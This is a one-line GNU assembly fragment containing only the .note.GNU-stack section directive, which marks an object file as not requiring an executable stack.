	.section	.note.GNU-stack,"",%progbits
